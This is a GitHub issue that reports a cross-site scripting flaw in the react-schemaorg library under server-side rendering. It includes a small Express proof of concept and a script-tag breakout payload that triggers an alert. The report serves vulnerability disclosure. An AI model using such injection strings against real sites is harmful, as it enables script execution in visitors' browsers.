You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
There's a potential XSS problem when using this library with server-side-rendering (which is arguably one of the most prominent use-cases to render json-ld):
constReact=require("react");constexpress=require("express");constReactDOMServer=require("react-dom/server");const{ JsonLd }=require("react-schemaorg");constdangerous="</script><script>alert('xss')</script>";express().get("/",(req,res)=>res.send(ReactDOMServer.renderToString(<div><p>It's ok here: {dangerous}</p><p>
But not here: <JsonLditem={{name: dangerous}}/></p></div>))).listen(2000,()=>console.log("Listening on port 2000"));
There's a potential XSS problem when using this library with server-side-rendering (which is arguably one of the most prominent use-cases to render json-ld):
This will result in an alert being shown when accessing http://localhost:2000. Here's a repo to quickly reproduce the issue: https://github.com/DeX3/react-schemaorg-ssr-xss-poc
The text was updated successfully, but these errors were encountered: